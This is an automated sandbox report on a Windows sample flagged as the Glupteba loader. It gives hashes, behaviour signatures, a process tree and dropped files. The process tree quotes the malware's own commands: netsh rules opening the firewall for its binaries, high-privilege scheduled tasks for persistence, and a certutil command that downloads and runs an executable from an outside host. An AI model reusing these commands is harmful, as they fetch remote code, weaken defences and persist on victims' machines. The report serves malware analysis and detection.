Analysis

  • max time kernel
    147s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-09-2024 23:29

General

  • Target

    e7e6cae8afe2cd78ad52f9cc80c3507f_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    e7e6cae8afe2cd78ad52f9cc80c3507f

  • SHA1

    9cf16fae81c269c994d1bdd7fd71e70c47fa7061

  • SHA256

    26d0c0ea855362e5f508f6e64efd70a063217324b8eb6b63e39b3b1cb2b7aa1b

  • SHA512

    bfcaf9142c75b47ec28b5303a162b7cca853dfd140319899ca9b03d110a9d834e474e22c4176750fc01faac8dbff09255f7b1bf489fe196b811a1f7c3c375b2e

  • SSDEEP

    98304:HzGvybYr20lcI0Z2hJrW61gwLNmz81s1xsOrQZ:XbYC6c6hJrW6GwLNmz8as9

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\e7e6cae8afe2cd78ad52f9cc80c3507f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e7e6cae8afe2cd78ad52f9cc80c3507f_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1696
    • C:\Users\Admin\AppData\Local\Temp\e7e6cae8afe2cd78ad52f9cc80c3507f_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\e7e6cae8afe2cd78ad52f9cc80c3507f_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1704
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3836
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1152
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4976
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1136
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2184
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2136
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4252
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 820
        3⤵
        • Program crash
        PID:4924
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 916
      2⤵
      • Program crash
      PID:3032
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1696 -ip 1696
    1⤵
      PID:4452
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2760 -ip 2760
      1⤵
        PID:1984

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.8MB

        MD5

        e7e6cae8afe2cd78ad52f9cc80c3507f

        SHA1

        9cf16fae81c269c994d1bdd7fd71e70c47fa7061

        SHA256

        26d0c0ea855362e5f508f6e64efd70a063217324b8eb6b63e39b3b1cb2b7aa1b

        SHA512

        bfcaf9142c75b47ec28b5303a162b7cca853dfd140319899ca9b03d110a9d834e474e22c4176750fc01faac8dbff09255f7b1bf489fe196b811a1f7c3c375b2e

      • memory/1696-1-0x0000000007040000-0x00000000073EF000-memory.dmp

        Filesize

        3.7MB

      • memory/1696-2-0x00000000073F0000-0x0000000007AEC000-memory.dmp

        Filesize

        7.0MB

      • memory/1696-3-0x0000000000400000-0x0000000000B16000-memory.dmp

        Filesize

        7.1MB

      • memory/1696-5-0x00000000073F0000-0x0000000007AEC000-memory.dmp

        Filesize

        7.0MB

      • memory/1696-6-0x0000000000400000-0x0000000000B16000-memory.dmp

        Filesize

        7.1MB

      • memory/1696-4-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/2760-12-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-18-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-24-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-19-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-20-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-21-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-22-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-23-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-17-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-25-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-26-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-27-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-28-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-29-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB

      • memory/4976-30-0x0000000000400000-0x0000000005155000-memory.dmp

        Filesize

        77.3MB